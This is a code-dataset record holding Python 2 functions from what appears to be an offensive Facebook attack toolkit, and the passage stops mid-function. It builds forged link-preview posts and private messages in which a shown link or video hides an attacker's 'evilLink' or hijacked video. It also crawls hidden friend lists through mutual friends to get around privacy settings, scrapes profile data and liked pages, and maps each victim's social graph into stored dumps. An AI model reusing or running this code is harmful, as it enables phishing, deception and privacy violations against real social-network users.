'7n8aqEAMBlCFUSt2u6aOGeExEW9ACxO4pbGA8AGGzCAjFDxCm',\n '__req' : 'h',\n 'ttstamp' : '26581658074898653',\n '__rev' : '1161243'\n }\n \n datos = urlencode(arguments)\n response = br.open('https://www.facebook.com/ajax/updatestatus.php',datos)\n \n if globalLogging:\n logs(response.read())\n \n except mechanize.HTTPError as e:\n print e.code\n except mechanize.URLError as e:\n print e.reason.args \n \n except:\n logs('Error en el modulo de linkPreview()')\n print 'Error en el modulo de linkPreview()\\n'", "metadata": "root.linkPreview", "header": "['module', '___EOS___']", "index": 772 }, { "content": "def hijackVideo(videoLink,title,summary,comment,videoID,hijackedVideo,privacy):\n c_user = getC_user()\n print str(c_user)+'\\n'\n try:\n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n \n arguments = {\n 'composer_session_id' : '8c4e1fa6-5f1f-4c16-b393-5c1ab4c3802b',\n 'fb_dtsg' : fb_dtsg,\n 'xhpc_context' : 'profile',\n 'xhpc_ismeta' : '1',\n 'xhpc_timeline' : '1',\n 'xhpc_composerid' : 'u_0_23',\n 'xhpc_targetid' : str(c_user),\n 'clp' : '{\"cl_impid\":\"4b4a8369\",\"clearcounter\":0,\"elementid\":\"u_0_2h\",\"version\":\"x\",\"parent_fbid\":'+str(c_user)+'}',\n 'xhpc_message_text' : str(comment),\n 'xhpc_message' : str(comment),\n 'aktion' : 'post',\n 'app_id' : '2309869772',\n 'attachment[params][urlInfo][canonical]' : str(videoLink),\n 'attachment[params][urlInfo][final]' : str(videoLink),\n 'attachment[params][urlInfo][user]' : str(videoLink),\n 'attachment[params][favicon]' : 'http://s.ytimg.com/yts/img/favicon_32-vflWoMFGx.png',\n 'attachment[params][title]' : str(title),\n 'attachment[params][summary]' : str(summary),\n 'attachment[params][images][0]' : 'http://i2.ytimg.com/vi/'+videoID+'/mqdefault.jpg?feature=og',\n 'attachment[params][medium]' : '103',\n 'attachment[params][url]' : str(videoLink),\n 'attachment[params][video][0][type]' : 'application/x-shockwave-flash',\n 'attachment[params][video][0][src]' : 'http://www.youtube.com/v/'+str(hijackedVideo)+'?version=3&autohide=1&autoplay=1',\n 'attachment[params][video][0][width]' : '1920',\n 'attachment[params][video][0][height]' : '1080',\n 'attachment[params][video][0][safe]' : '1',\n 'attachment[type]' : '100',\n 'link_metrics[source]' : 'ShareStageExternal',\n 'link_metrics[domain]' : 'www.youtube.com',\n 'link_metrics[base_domain]' : 'youtube.com',\n 'link_metrics[title_len]' : str(len(title)),\n 'link_metrics[summary_len]' : str(len(summary)),\n 'link_metrics[min_dimensions][0]' : '62',\n 'link_metrics[min_dimensions][1]' : '62',\n 'link_metrics[images_with_dimensions]' : '1',\n 'link_metrics[images_pending]' : '0',\n 'link_metrics[images_fetched]' : '0',\n 'link_metrics[image_dimensions][0]' : '1920',\n 'link_metrics[image_dimensions][1]' : '1080',\n 'link_metrics[images_selected]' : '1',\n 'link_metrics[images_considered]' : '1',\n 'link_metrics[images_cap]' : '10',\n 'link_metrics[images_type]' : 'images_array',\n 'composer_metrics[best_image_w]' : '154',\n 'composer_metrics[best_image_h]' : '154',\n 'composer_metrics[image_selected]' : '0',\n 'composer_metrics[images_provided]' : '1',\n 'composer_metrics[images_loaded]' : '1',\n 'composer_metrics[images_shown]' : '1',\n 'composer_metrics[load_duration]' : '1184',\n 'composer_metrics[timed_out]' : '0',\n 'composer_metrics[sort_order]' : '',\n 'composer_metrics[selector_type]' : 'UIThumbPager_6',\n 'backdated_date[year]' : '',\n 'backdated_date[month]' : '',\n 'backdated_date[day]' : '',\n 'backdated_date[hour]' : '',\n 'backdated_date[minute]' : '',\n 'is_explicit_place' : '',\n 'composertags_place' : '',\n 'composertags_place_name' : '',\n 'tagger_session_id' : '1399663185',\n 'action_type_id[0]' : '',\n 'object_str[0]' : '',\n 'object_id[0]' : '',\n 'og_location_id[0]' : '',\n 'hide_object_attachment' : '0',\n 'og_suggestion_mechanism' : '',\n 'composertags_city' : '',\n 'disable_location_sharing' : 'false',\n 'composer_predicted_city' : '',\n 'audience[0][value]' : str(privacy),\n 'nctr[_mod]' : 'pagelet_timeline_recent',\n '__user' : str(c_user),\n '__a' : '1',\n '__dyn' : '7n8ajEAMBlynzpQ9UoGya4Cq7pEsx6iWF29aGEZ94WpUpBxCFaG',\n '__req' : 'g',\n 'ttstamp' : '265817289113541097355755354',\n '__rev' : '1241763',\n }\n \n datos = urlencode(arguments)\n response = br.open('https://www.facebook.com/ajax/updatestatus.php',datos)\n \n if globalLogging:\n logs(response.read())\n \n except:\n logs('Error en el modulo de linkPreviewYoutube()')\n print 'Error en el modulo de linkPreviewYoutube()\\n'", "metadata": "root.hijackVideo", "header": "['module', '___EOS___']", "index": 872 }, { "content": "def privateMessageLink(message,victim,subject,realLink,title,summary,imageLink,evilLink):\n \n c_user = getC_user()\n \n try:\n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n \n arguments = {\n 'message_batch[0][action_type]' : 'ma-type:user-generated-message',\n 'message_batch[0][thread_id]' : '',\n 'message_batch[0][author]' : 'fbid:'+c_user,\n 'message_batch[0][author_email]' : '',\n 'message_batch[0][timestamp]' : str(int(time())),\n 'message_batch[0][timestamp_absolute]' : 'Today',\n 'message_batch[0][timestamp_relative]' : getTime(),\n 'message_batch[0][timestamp_time_passed]' : '0',\n 'message_batch[0][is_unread]' : 'false',\n 'message_batch[0][is_cleared]' : 'false',\n 'message_batch[0][is_forward]' : 'false',\n 'message_batch[0][is_filtered_content]' : 'false',\n 'message_batch[0][is_spoof_warning]' : 'false',\n 'message_batch[0][source]' : 'source:titan:web',\n 'message_batch[0][body]' : message,\n 'message_batch[0][has_attachment]' : 'true',\n 'message_batch[0][html_body]' : 'false',\n 'message_batch[0][specific_to_list][0]' : 'fbid:' + victim,\n 'message_batch[0][content_attachment][subject]' : subject,\n 'message_batch[0][content_attachment][app_id]' : '2309869772',\n 'message_batch[0][content_attachment][attachment][params][urlInfo][canonical]' : realLink,\n 'message_batch[0][content_attachment][attachment][params][urlInfo][final]' : realLink,\n 'message_batch[0][content_attachment][attachment][params][urlInfo][user]' : evilLink,\n 'message_batch[0][content_attachment][attachment][params][favicon]' : realLink+'/favicon.ico',\n 'message_batch[0][content_attachment][attachment][params][title]' : title,\n 'message_batch[0][content_attachment][attachment][params][summary]' : summary,\n 'message_batch[0][content_attachment][attachment][params][images][0]' : imageLink,\n 'message_batch[0][content_attachment][attachment][params][medium]' : '106',\n 'message_batch[0][content_attachment][attachment][params][url]' : realLink,\n 'message_batch[0][content_attachment][attachment][type]' : '100',\n 'message_batch[0][content_attachment][link_metrics][source]' : 'ShareStageExternal',\n 'message_batch[0][content_attachment][link_metrics][domain]' : realLink.strip('https://').strip('/'),\n 'message_batch[0][content_attachment][link_metrics][base_domain]' : realLink.strip('https://www.').strip('/'),\n 'message_batch[0][content_attachment][link_metrics][title_len]' : '38',\n 'message_batch[0][content_attachment][link_metrics][summary_len]' : '38',\n 'message_batch[0][content_attachment][link_metrics][min_dimensions][0]' : '70',\n 'message_batch[0][content_attachment][link_metrics][min_dimensions][1]' : '70',\n 'message_batch[0][content_attachment][link_metrics][images_with_dimensions]' : '3',\n 'message_batch[0][content_attachment][link_metrics][images_pending]' : '0',\n 'message_batch[0][content_attachment][link_metrics][images_fetched]' : '0',\n 'message_batch[0][content_attachment][link_metrics][image_dimensions][0]' : '322',\n 'message_batch[0][content_attachment][link_metrics][image_dimensions][1]' : '70',\n 'message_batch[0][content_attachment][link_metrics][images_selected]' : '1',\n 'message_batch[0][content_attachment][link_metrics][images_considered]' : '5',\n 'message_batch[0][content_attachment][link_metrics][images_cap]' : '3',\n 'message_batch[0][content_attachment][link_metrics][images_type]' : 'ranked',\n 'message_batch[0][content_attachment][composer_metrics][best_image_w]' : '100',\n 'message_batch[0][content_attachment][composer_metrics][best_image_h]' : '100',\n 'message_batch[0][content_attachment][composer_metrics][image_selected]' : '0',\n 'message_batch[0][content_attachment][composer_metrics][images_provided]' : '1',\n 'message_batch[0][content_attachment][composer_metrics][images_loaded]' : '1',\n 'message_batch[0][content_attachment][composer_metrics][images_shown]' : '1',\n 'message_batch[0][content_attachment][composer_metrics][load_duration]' : '6',\n 'message_batch[0][content_attachment][composer_metrics][timed_out]' : '0',\n 'message_batch[0][content_attachment][composer_metrics][sort_order]' : '',\n 'message_batch[0][content_attachment][composer_metrics][selector_type]' : 'UIThumbPager_6',\n 'message_batch[0][force_sms]' : 'true',\n 'message_batch[0][ui_push_phase]' : 'V3',\n 'message_batch[0][status]' : '0',\n 'message_batch[0][message_id]' : '<1394766424499:3126670212-4125121119@mail.projektitan.com>',\n 'message_batch[0][client_thread_id]' : 'user:'+str(c_user),\n 'client' : 'web_messenger',\n '__user' : c_user,\n '__a' : '1',\n '__dyn' : '7n8a9EAMBlCFYwyt2u6aOGeExEW9J6yUgByVbGAF4iGGeqheCu6po',\n '__req' : '1n',\n 'fb_dtsg' : fb_dtsg,\n 'ttstamp' : '26581658074898653',\n '__rev' : '1161243'\n }\n datos = urlencode(arguments)\n response = br.open('https://www.facebook.com/ajax/mercury/send_messages.php',datos)\n \n if globalLogging:\n logs(response.read())\n \n except mechanize.HTTPError as e:\n print e.code\n except mechanize.URLError as e:\n print e.reason.args \n except:\n print 'Ctrl+c SIGNAL Caught\\n'\n return", "metadata": "root.privateMessageLink", "header": "['module', '___EOS___']", "index": 1041 }, { "content": "def privateMessagePhishing(victimId,message,subject,evilLink,videoLink,title,summary,videoID,hijackedVideo):\n c_user = getC_user()\n print str(c_user)+'\\n'\n try:\n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n \n arguments = {\n 'message_batch[0][action_type]' : 'ma-type:user-generated-message',\n 'message_batch[0][thread_id]' : '',\n 'message_batch[0][author]' : 'fbid:'+str(c_user),\n 'message_batch[0][author_email]' : '',\n 'message_batch[0][coordinates]' : '',\n 'message_batch[0][timestamp]' : '1410457740680',\n 'message_batch[0][timestamp_absolute]' : 'Today',\n 'message_batch[0][timestamp_relative]' : '10:16am',\n 'message_batch[0][timestamp_time_passed]' : '0',\n 'message_batch[0][is_unread]' : 'false',\n 'message_batch[0][is_cleared]' : 'false',\n 'message_batch[0][is_forward]' : 'false',\n 'message_batch[0][is_filtered_content]' : 'false',\n 'message_batch[0][spoof_warning]' : 'false',\n 'message_batch[0][source]' : 'source:titan:web',\n 'message_batch[0][body]' : str(message),\n 'message_batch[0][has_attachment]' : 'true',\n 'message_batch[0][html_body]' : 'false',\n 'message_batch[0][specific_to_list][0]' : 'fbid:'+str(victimId),\n 'message_batch[0][specific_to_list][1]' : 'fbid:'+str(c_user),\n 'message_batch[0][content_attachment][subject]' : str(subject),\n 'message_batch[0][content_attachment][app_id]' : '2309869772',\n 'message_batch[0][content_attachment][attachment][params][urlInfo][canonical]' : str(videoLink),\n 'message_batch[0][content_attachment][attachment][params][urlInfo][final]' : str(videoLink),\n 'message_batch[0][content_attachment][attachment][params][urlInfo][user]' : str(evilLink),\n 'message_batch[0][content_attachment][attachment][params][urlInfo][log][1408344793]' : 'https://www.mkit.com.ar/',\n 'message_batch[0][content_attachment][attachment][params][favicon]' : 'http://s.ytimg.com/yts/img/favicon_32-vflWoMFGx.png',\n 'message_batch[0][content_attachment][attachment][params][title]' : str(title),\n 'message_batch[0][content_attachment][attachment][params][summary]' : str(summary),\n 'message_batch[0][content_attachment][attachment][params][images][0]' : 'http://i1.ytimg.com/vi/'+videoID+'/mqdefault.jpg?feature=og&cfs=1&upscale',\n 'message_batch[0][content_attachment][attachment][params][medium]' : '103',\n 'message_batch[0][content_attachment][attachment][params][url]' : str(videoLink),\n 'message_batch[0][content_attachment][attachment][params][video][0][type]' : 'application/x-shockwave-flash',\n 'message_batch[0][content_attachment][attachment][params][video][0][src]' : 'http://www.youtube.com/v/'+str(hijackedVideo)+'?version=3&autohide=1&autoplay=1',\n 'message_batch[0][content_attachment][attachment][params][video][0][width]' : '1280',\n 'message_batch[0][content_attachment][attachment][params][video][0][height]' : '720',\n 'message_batch[0][content_attachment][attachment][params][video][0][secure_url]' : 'https://www.youtube.com/v/'+str(hijackedVideo)+'?version=3&autohide=1&autoplay=1',\n 'message_batch[0][content_attachment][attachment][type]' : '100',\n 'message_batch[0][content_attachment][link_metrics][source]' : 'ShareStageExternal',\n 'message_batch[0][content_attachment][link_metrics][domain]' : 'www.youtube.com',\n 'message_batch[0][content_attachment][link_metrics][base_domain]' : 'youtube.com',\n 'message_batch[0][content_attachment][link_metrics][title_len]' : str(len(title)),\n 'message_batch[0][content_attachment][link_metrics][summary_len]' : str(len(summary)),\n 'message_batch[0][content_attachment][link_metrics][min_dimensions][0]' : '70',\n 'message_batch[0][content_attachment][link_metrics][min_dimensions][1]' : '70',\n 'message_batch[0][content_attachment][link_metrics][images_with_dimensions]' : '1',\n 'message_batch[0][content_attachment][link_metrics][images_pending]' : '0',\n 'message_batch[0][content_attachment][link_metrics][images_fetched]' : '0',\n 'message_batch[0][content_attachment][link_metrics][image_dimensions][0]' : '1280',\n 'message_batch[0][content_attachment][link_metrics][image_dimensions][1]' : '720',\n 'message_batch[0][content_attachment][link_metrics][images_selected]' : '1',\n 'message_batch[0][content_attachment][link_metrics][images_considered]' : '1',\n 'message_batch[0][content_attachment][link_metrics][images_cap]' : '10',\n 'message_batch[0][content_attachment][link_metrics][images_type]' : 'images_array',\n 'message_batch[0][content_attachment][composer_metrics][best_image_w]' : '100',\n 'message_batch[0][content_attachment][composer_metrics][best_image_h]' : '100',\n 'message_batch[0][content_attachment][composer_metrics][image_selected]' : '0',\n 'message_batch[0][content_attachment][composer_metrics][images_provided]' : '1',\n 'message_batch[0][content_attachment][composer_metrics][images_loaded]' : '1',\n 'message_batch[0][content_attachment][composer_metrics][images_shown]' : '1',\n 'message_batch[0][content_attachment][composer_metrics][load_duration]' : '2',\n 'message_batch[0][content_attachment][composer_metrics][timed_out]' : '0',\n 'message_batch[0][content_attachment][composer_metrics][sort_order]' : '',\n 'message_batch[0][content_attachment][composer_metrics][selector_type]' : 'UIThumbPager_6',\n 'message_batch[0][force_sms]' : 'true',\n 'message_batch[0][ui_push_phase]' : 'V3',\n 'message_batch[0][status]' : '0',\n 'message_batch[0][message_id]' : '<1410457740680:1367750931-713286099@mail.projektitan.com>',\n 'message_batch[0][client_thread_id]' : 'user:'+str(victimId),\n 'client' : 'web_messenger',\n '__user' : str(c_user),\n '__a' : '1',\n '__dyn' : '7n8ahyj35CCOadgDxqjdLg',\n '__req' : 'c',\n 'fb_dtsg' : fb_dtsg,\n 'ttstamp' : '265816977807275100848411568',\n }\n \n datos = urlencode(arguments)\n response = br.open('https://www.facebook.com/ajax/mercury/send_messages.php ',datos)\n \n if globalLogging:\n logs(response.read())\n \n except mechanize.HTTPError as e:\n print e.code\n except mechanize.URLError as e:\n print e.reason.args \n except:\n print 'Ctrl+c SIGNAL Caught\\n'\n return", "metadata": "root.privateMessagePhishing", "header": "['module', '___EOS___']", "index": 1135 }, { "content": "def linkFriends(victim):\n friends = []\n root = 'dumps'\n directory = victim\n delay = 1\n linkedFile = open( os.path.join(root,directory,victim+\"friend_links.html\"),\"wb\")\n \n try:\n persons = open( os.path.join(root,directory,victim+\".txt\") ,\"rb\")\n except:\n print '\\r \\r',\n print '\\r %s.txt not exists, error on linkFriends module \\r' %victim,\n logs(str(victim)+' not exists, error on linkFriends module')\n return\n\n while True:\n linea = persons.readline()\n if not linea:\n break\n friends.append(linea.strip(\"\\n\\r\"))\n \n persons.close()\n \n for individuals in friends:\n try:\n response = br.open('https://graph.facebook.com/'+individuals)\n resultado = response.read()\n json_dump = json.loads(resultado)\n try:\n friend = json_dump['link']+' '+json_dump['name']+' '+json_dump['gender']+ ' '+ json_dump['locale']\n print friend\n linkedFile.write(MyParser.htmlFormat(json_dump))\n except:\n try:\n print 'https://www.facebook.com/%s' %json_dump['username']+' '+json_dump['name']+' '+json_dump['gender']+ ' '+ json_dump['locale']\n except:\n print 'https://www.facebook.com/%s' %individuals\n \n except mechanize.HTTPError as e:\n print e.code\n print 'Sleeping %d' %delay\n sleep(delay)\n delay += 1\n except mechanize.URLError as e:\n print e.reason.args\n print 'Sleeping %d URLerror ' %delay\n sleep(delay)\n delay += 1\n \n linkedFile.close()", "metadata": "root.linkFriends", "header": "['module', '___EOS___']", "index": 1238 }, { "content": "def getName(userId):\n try:\n response = br.open('https://www.facebook.com/'+str(userId))\n data = response.read()\n match = re.search(\"_8_2\",data)\n if match is not None:\n start = match.end() + 33\n matchBis = re.search('\">',data[start:])\n if matchBis is not None:\n return data[start:start+matchBis.start()]\n return userId\n except mechanize.HTTPError as e:\n print str(e.code)\n return userId\n except mechanize.URLError as e:\n print str(e.reason.args)\n return userId\n except:\n return userId", "metadata": "root.getName", "header": "['module', '___EOS___']", "index": 1289 }, { "content": "def loadObjects(victim):\n try:\n path = os.path.join(\"dumps\",victim,\"objects\",victim)\n f = open(path,\"rb\")\n A = pickle.load(f)\n g = open( path +'.ref',\"rb\")\n ref = pickle.load(g)\n g.close()\n f.close()\n return A,ref\n except:\n return [],{}", "metadata": "root.loadObjects", "header": "['module', '___EOS___']", "index": 1328 }, { "content": "def reAnalyzeGraph(victim):\n try:\n f = open( os.path.join(\"dumps\",victim,\"objects\",victim+\"-community\" ) ,\"rb\")\n labelGraph = pickle.load(f)\n f.close()\n except:\n logs('Error on reAnalyzeGraph() object not exist')\n print 'Error on reAnalyzeGraph() object not exist\\n'\n return\n \n #Community algorithm\n root = 'dumps'\n directory = victim\n \n try:\n partition = community.best_partition(labelGraph)\n \n for i in set(partition.values()):\n print \"Community\", i\n members = [nodes for nodes in partition.keys() if partition[nodes] == i]\n \n egonet = labelGraph.subgraph(set(members))\n print sorted(egonet.nodes(),reverse=False)\n print sorted(egonet.edges(),reverse=False)\n \n \n nx.draw_spring(egonet,node_color = np.linspace(0,1,len(egonet.nodes())),edge_color = '#000000' ,with_labels=True)\n plt.savefig( os.path.join(root,directory,victim+\"Community\"+str(i)+\".pdf\") )\n plt.savefig( os.path.join(root,directory,victim+\"Community\"+str(i)+\".png\") )\n write_dot(egonet, os.path.join(root,directory,victim+\"Community\"+str(i)+\".dot\") )\t\t\n plt.show()\n \n \n raw_input('Press enter to continue...\\n')\n except:\n logs('Error on reAnalyzeGraph() debbug for more information')\n print 'Error on reAnalyzeGraph() debbug for more information\\n'\n return", "metadata": "root.reAnalyzeGraph", "header": "['module', '___EOS___']", "index": 1341 }, { "content": "def analyzeGraph(victim):\n root = 'dumps'\n directory = victim\n mkdir(directory,root)\n \n \n edges = {}\n edgesValues = {}\n nodekeys = {}\n userNames = []\n commonPages = {}\n \n A,idkeys = loadObjects(victim)\n if A != []: \n \n myGraph = nx.from_numpy_matrix(A)\n \n nodes = myGraph.nodes()\n \n #Percentage\n i = 0.0\n percentage = 0.0\n \n #flush\n print '\\r \\r', \n \n #Dictio creation of usernames\n #Associated with node number\n print 'Attemping to get user\\'s information'\n for elements in idkeys.keys():\n try:\n user = getName(elements)\n commonPages[user] = corePagesLike(victim,elements)\n userNames.append(user)\n nodekeys[idkeys[elements]] = user\n percentage = (i * 100.0)/len(idkeys.keys())\n flush()\n print '\\rIterating on %d of %d - [%.2f%%] completed\\r' %(i ,len(idkeys.keys()), percentage), \n i+=1\n except:\n continue\n \n reference = open( os.path.join(root,directory,victim+\"references.txt\") ,\"wb\") \n for users in nodekeys.keys():\n try:\n line = str(nodekeys[users])+' : '+str(users) \n reference.write(line + '\\n')\n except:\n continue\n \n reference.close()\n \n for node in nodes:\n try:\n edges[node] = myGraph.degree(node)\n if edgesValues.has_key(edges[node]):\n edgesValues[edges[node]].append(node)\n else:\n edgesValues[edges[node]] = [node]\n except:\n continue\n \n \n for values in sorted(edgesValues.keys(),reverse=True):\n try:\n print str(values) + ' aristas; nodos: ',\n for nodes in edgesValues[values]:\n print str(nodes) + ', ',\n print '\\n'\n except:\n continue\n \n print nx.is_connected(myGraph)\n \n print nx.number_connected_components(myGraph)\n \n ccs = nx.clustering(myGraph)\n print ccs\n print sum(ccs)/len(ccs) \n \n #Creation of the labeld graph for community\n labelNodes = myGraph.nodes()\n labelEdges = myGraph.edges()\n labelGraph = nx.Graph()\n \n for label in labelNodes:\n try:\n labelGraph.add_node(nodekeys[int(label)],likes=commonPages[nodekeys[int(label)]])\n except:\n continue\n \n for labelE in labelEdges:\n try:\n labelGraph.add_edge(nodekeys[int(labelE[0])],nodekeys[int(labelE[1])])\n except:\n continue\n try: \n nx.draw_spring(labelGraph,node_color = np.linspace(0,1,len(labelGraph.nodes())),edge_color = np.linspace(0,1,len(labelGraph.edges())) ,with_labels=True)\n plt.savefig( os.path.join(root,directory,victim+\"labelGraph_color.pdf\") )\n plt.savefig( os.path.join(root,directory,victim+\"labelGraph_color.png\") )\n write_dot(labelGraph, os.path.join(root,directory,victim+\"labelGraph_color.dot\") ) \n plt.show()\n except:\n print 'Erro plotting the graph'\n \n #Saving the object for future analysis\n f = open( os.path.join(\"dumps\",victim,\"objects\",victim+\"-community\") ,\"wb\")\n pickle.dump(labelGraph,f)\n f.close()\n \n #Community algorithm\n partition = community.best_partition(labelGraph)\n \n for i in set(partition.values()):\n try:\n print \"Community\", i\n members = [nodes for nodes in partition.keys() if partition[nodes] == i]\n except:\n continue \n ''' No longer necessary (?) \n reference = open(root+\"\\\\\"+directory+\"\\\\community\"+str(i)+\"references.txt\",\"wb\")\n \n for nodes in members:\n line = str(nodekeys[int(nodes)])+' : '+str(nodes) \n reference.write(line + '\\n')\n \n reference.close() \n ''' \n try:\n egonet = labelGraph.subgraph(set(members))\n print sorted(egonet.nodes(),reverse=False)\n print sorted(egonet.edges(),reverse=False)\n \n \n nx.draw_spring(egonet,node_color = np.linspace(0,1,len(egonet.nodes())),edge_color = '#000000' ,with_labels=True)\n plt.savefig( os.path.join(root,directory,victim+\"Community\"+str(i)+\".pdf\") )\n plt.savefig( os.path.join(root,directory,victim+\"Community\"+str(i)+\".png\") )\n write_dot(egonet, os.path.join(root,directory,victim+\"Community\"+str(i)+\".dot\") ) \t\t\t\n plt.show()\n except:\n print 'Error plotting the graph'\n \n \n raw_input('Press enter to continue...\\n')\n else:\n logs('Error on analyzeGraph() file not exist')\n print 'Error on analyzeGraph() file not exist\\n'\n return", "metadata": "root.analyzeGraph", "header": "['module', '___EOS___']", "index": 1380 }, { "content": "def bypassFriendshipPrivacyPlot(victim, transitive):\n \n coleccion = {}\n nodeID = 0\n \n root = 'dumps'\n directory = str(victim)\n \n mkdir(directory,root)\n \n myGraph = nx.Graph()\n \n coleccion[victim] = nodeID\n \n victima = nodeID\n myGraph.add_node(victima)\n nodeID += 1\n \n \n #Percentage container\n percentage = 0.0\n #Disclosude friends container\n friendships = []\n #Already visited nodes container\n visited = [] \n try:\n #If the file already exists \n friendshipFile = open( os.path.join(root,directory,victim+\".txt\") ,\"rb\")\n #Reads every line of the file\n while True:\n linea = friendshipFile.readline()\n if not linea:\n break\n #Store in the visited array for non repetition\n visited.append(linea.strip(\"\\n\\r\"))\n friendshipFile.close()\n A,coleccion = loadObjects(victim)\n if A == []:\n logs(\"Inconsistency, the userid file exists, but has no object associated\")\n print \"Inconsistency, the userid file exists, but has no object associated\"\n return\n else:\n myGraph = nx.from_numpy_matrix(A)\n \n except:\n #If the file does not exists, creates the file\n friendshipFile = open( os.path.join(root,directory,victim+\".txt\") ,\"wb\")\n friendshipFile.close()\n \n \n try:\n #Generates the first level of the search\n result = coreFriendshipPrivacy(victim,transitive)\n except:\n print 'Check the internet connection please..'\n return\n \n #Stores non repetitive values in the disclosed friends container\n for individuos in result:\n if individuos not in visited:\n if coleccion.has_key(individuos) == False:\n nodo = nodeID\n nodeID += 1\n coleccion[individuos] = nodo\n else:\n nodo = coleccion[individuos]\n \n if coleccion.has_key(transitive) == False:\n transitivo = nodeID\n nodeID += 1\n coleccion[transitive] = transitivo\n else:\n transitivo = coleccion[transitive]\n \n myGraph.add_node(nodo)\n myGraph.add_edge(nodo,transitivo)\n friendships.append(individuos)\n \n #Counter for percentage calculus purpose \n i = 0.0\n #flush\n print '\\r \\r',\n #For every value in the first disclosed list, repeats until every value has been tryed \n for friends in friendships:\n #Percentage calculus \n percentage = (i * 100.0)/len(friendships)\n flush()\n print '\\rIterating on %d of %d - [%.2f%%] completed\\r' %(i ,len(friendships), percentage), \n i+=1\n #Only if the node wasn't visited \n if friends not in visited:\n #if coreFriendshipPrivacy() fails, an exception is caught. Therefore, state wis still being True. \n #Only if the try passes, the infinite while will end. (For internet error connection problem)\n state = True\n while state == True:\n try:\n result = coreFriendshipPrivacy(victim,friends)\n state = False\n except signalCaught as e:\n state = False\n print 'Signal Caught handler'\n print '%s ' %e.args[0]\n return\n except:\n logs('Check the internet connection please.. Press enter when it\\'s done')\n print '\\r \\r',\n raw_input('\\rCheck the internet connection please.. Press enter when it\\'s done\\r'),\n \n #Stores non repetitive values in the disclosed friends container \n for element in result:\n if element not in friendships:\n if coleccion.has_key(friends) == False:\n nodo = nodeID\n nodeID += 1\n coleccion[friends] = nodo\n else:\n nodo = coleccion[friends]\n \n if coleccion.has_key(element) == False:\n transitivo = nodeID\n nodeID += 1\n coleccion[element] = transitivo\n else:\n transitivo = coleccion[element]\n\n myGraph.add_node(nodo)\n myGraph.add_edge(nodo,transitivo)\n friendships.append(element)\n \n #Stores every single value of friendships list alredy analyzed for non repetitivness\n visited.append(friends)\n \n #Check if the file exists, if true append, else create and writes\n try:\n friendshipFile = open( os.path.join(root,directory,victim+\".txt\") ,\"ab\")\n except:\n friendshipFile = open( os.path.join(root,directory,victim+\".txt\") ,\"wb\")\n #Stores every userID for further analyzis\n for friends in friendships:\n if coleccion.has_key(friends) == False:\n transitivo = nodeID\n nodeID += 1\n coleccion[friends] = transitivo\n else:\n transitivo = coleccion[friends]\n\n myGraph.add_edge(victima,transitivo)\n friendshipFile.write(str(friends)+'\\n')\n \n \n friendshipFile.close()\n \n mkdir('objects', os.path.join(root,directory))\n A = nx.adj_matrix(myGraph)\n saveObjects(victim, A, coleccion)\n \n nx.draw_spring(myGraph,node_color = np.linspace(0,1,len(myGraph.nodes())),edge_color = np.linspace(0,1,len(myGraph.edges())) ,with_labels=True)\n plt.savefig( os.path.join(root,directory,victim+\"graph_color.pdf\") )\n plt.savefig( os.path.join(root,directory,victim+\"graph_color.png\") )\n write_dot(myGraph,os.path.join(root,directory,victim+\"graph_color.dot\")) \n plt.show()", "metadata": "root.bypassFriendshipPrivacyPlot", "header": "['module', '___EOS___']", "index": 1531 }, { "content": "def bypassFriendshipPrivacy(victim, transitive):\n #Percentage container\n percentage = 0.0\n #Disclosude friends container\n friendships = []\n #Already visited nodes container\n visited = [] \n try:\n #If the file already exists \n friendshipFile = open( os.path.join(\"dumps\",victim+\".txt\") ,\"rb\")\n #Reads every line of the file\n while True:\n linea = friendshipFile.readline()\n if not linea:\n break\n #Store in the visited array for non repetition\n visited.append(linea.strip(\"\\n\\r\"))\n \n friendshipFile.close()\n \n except:\n #If the file does not exists, creates the file\n friendshipFile = open( os.path.join(\"dumps\",victim+\".txt\") ,\"wb\")\n friendshipFile.close()\n \n \n try:\n #Generates the first level of the search\n result = coreFriendshipPrivacy(victim,transitive)\n except:\n print '\\r \\r',\n raw_input('\\rCheck the internet connection please.. Press enter when it\\'s done\\r'),\n return\n \n #Stores non repetitive values in the disclosed friends container\n for individuos in result:\n if individuos not in visited:\n friendships.append(individuos)\n \n #Counter for percentage calculus purpose \n i = 0.0\n #flush\n print '\\r \\r',\n #For every value in the first disclosed list, repeats until every value has been tryed \n for friends in friendships:\n #Percentage calculus \n percentage = (i * 100.0)/len(friendships)\n flush()\n print '\\rIterating on %d of %d - [%.2f%%] completed\\r' %(i ,len(friendships), percentage), \n i+=1\n #Only if the node wasn't visited \n if friends not in visited:\n #if coreFriendshipPrivacy() fails, an exception is caught. Therefore, state wis still being True. \n #Only if the try passes, the infinite while will end. (For internet error connection problem)\n state = True\n while state == True:\n try:\n result = coreFriendshipPrivacy(victim,friends)\n state = False\n except signalCaught as e:\n state = False\n print 'Signal Caught handler'\n print '%s ' %e.args[0]\n return\n except:\n print '\\r \\r',\n raw_input('\\rCheck the internet connection please..\\r'),\n \n #Stores non repetitive values in the disclosed friends container \n for element in result:\n if element not in friendships:\n friendships.append(element)\n \n #Stores every single value of friendships list alredy analyzed for non repetitivness\n visited.append(friends)\n \n #Check if the file exists, if true append, else create and writes\n try:\n friendshipFile = open( os.path.join(\"dumps\",victim+\".txt\") ,\"ab\")\n except:\n friendshipFile = open( os.path.join(\"dumps\",victim+\".txt\") ,\"wb\")\n\n #Stores every userID for further analyzis\n for friends in friendships:\n friendshipFile.write(str(friends)+'\\n')\n \n friendshipFile.close()", "metadata": "root.bypassFriendshipPrivacy", "header": "['module', '___EOS___']", "index": 1695 }, { "content": "def corePagesLike(victim,transitive):\n matchs = []\n begin = 0\n page = []\n \n try:\n response = br.open('https://www.facebook.com/'+str(victim)+'?and='+str(transitive)+'&sk=favorites')\n resultado = response.read()\n match = re.search('timelineFriendsColumnHeader',resultado)\n if match is not None:\n linea = re.search('timelineFriendsColumnHeader(.+)',resultado).group()\n\n except mechanize.HTTPError as e:\n print e.code\n #Should handle a custom error\n raise\n except mechanize.URLError as e:\n print e.reason.args\n #Should handle a custom error\n raise\n #Error connection the upper function will catch the exception\n except:\n raise\n \n while True:\n match = re.search('fbStreamTimelineFavInfoContainer',resultado[begin:])\n if match != None:\n matchEnd = re.search('\\n',resultado[begin+match.start():])\n if matchEnd != None:\n 